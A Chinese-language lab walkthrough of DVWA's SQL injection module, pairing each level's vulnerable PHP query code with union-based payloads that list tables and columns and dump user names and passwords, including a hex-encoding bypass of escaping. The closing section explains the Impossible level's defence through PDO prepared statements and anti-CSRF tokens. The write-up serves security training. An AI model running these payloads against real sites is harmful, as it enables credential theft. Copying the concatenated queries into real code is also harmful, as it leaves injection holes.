注:源码在 vulnerabilities/sqli 及其子目录 source 中

Low

源码

1
2
3
4
// low.php

$id = $_REQUEST[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

payload(GET)

1
2
3
4
5
6
7
8
9
10
11
// 查列数
?id=1' order by 2%23&Submit=Submit#

// 查表名
?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23&Submit=Submit#

// 查列名
?id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'%23&Submit=Submit#

// 字段内容
?id=-1' union select group_concat(User),group_concat(Password) from users%23&Submit=Submit#

Medium

源码

1
2
3
4
5
// medium.php

$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id ); // 转义SQL语句中使用的特殊字符
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

payload(POST)

1
2
3
4
5
6
7
8
9
10
11
// 查列数
id=1 order by 2%23&Submit=Submit#

// 查表名
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23&Submit=Submit#

// 查列名,转义了引号,使用users的16进制绕过0×7573657273(ascii码中u-0x75, s-0x73, e-0x65,r-0x72)
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273%23&Submit=Submit#

// 字段内容
id=-1 union select group_concat(User),group_concat(Password) from users%23&Subit=Submit#

High

源码

1
2
3
4
5
6
// session-input.php
$_SESSION[ 'id' ] = $_POST[ 'id' ];

// high.php
$id = $_SESSION[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

payload(POST)

1
2
3
4
5
6
7
8
9
10
11
// 查列数
id=2' order by 2#&Submit=Submit#

// 查表名
id=-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#&Submit=Submit#

// 查列名
id=-1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#&Submit=Submit#

// 字段内容
id=-1' union select group_concat(User),group_concat(Password) from users#&Submit=Submit#

Impossible

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// impossible.php
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$id = $_GET[ 'id' ];

// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();

// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];

// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}

// Generate Anti-CSRF token
generateSessionToken();
?>

分析

开头调用 checkToken,检查网页参数里的 token 和服务器生成的是否相等,每次 submit 都会从 session 列表中获取 token 的值并提交,在 index.php 中可以看出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// index.php
if( $vulnerabilityFile == 'impossible.php' )
$page[ 'body' ] .= " " . tokenField();

// dvwa/dvwaPage.inc.php
function tokenField() {
return "<input type='hidden' name='user_token' value='{$_SESSION[ 'session_token' ]}' />";
}
function checkToken( $user_token, $session_token, $returnURL ) { # Validate the given (CSRF) token
if( $user_token !== $session_token || !isset( $session_token ) ) {
dvwaMessagePush( 'CSRF token is incorrect' );
dvwaRedirect( $returnURL );
}
}

之后使用 PDO 方式连接、操作数据库,实现代码和数据分离,有效防止数据截断代码造成意外泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// dvwa/dvwaPage.inc.php
function dvwaDatabaseConnect() {
......
$db = new PDO('mysql:host=' . $_DVWA[ 'db_server' ].';dbname=' . $_DVWA[ 'db_database' ].';charset=utf8', $_DVWA[ 'db_user' ], $_DVWA[ 'db_password' ]);
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
......
}

// impossible.php
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();

结束时调用 generateSessionToken 生成下一个token

1
2
3
4
5
6
7
8
9
10
11
12
// dvwa/dvwaPage.inc.php
function generateSessionToken() { # Generate a brand new (CSRF) token
if( isset( $_SESSION[ 'session_token' ] ) ) {
destroySessionToken();
}
// uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID
$_SESSION[ 'session_token' ] = md5( uniqid() );
}

function destroySessionToken() { # Destroy any session with the name 'session_token'
unset( $_SESSION[ 'session_token' ] );
}

token + PDO 双重保护,是一种有效防御 sql 注入的思路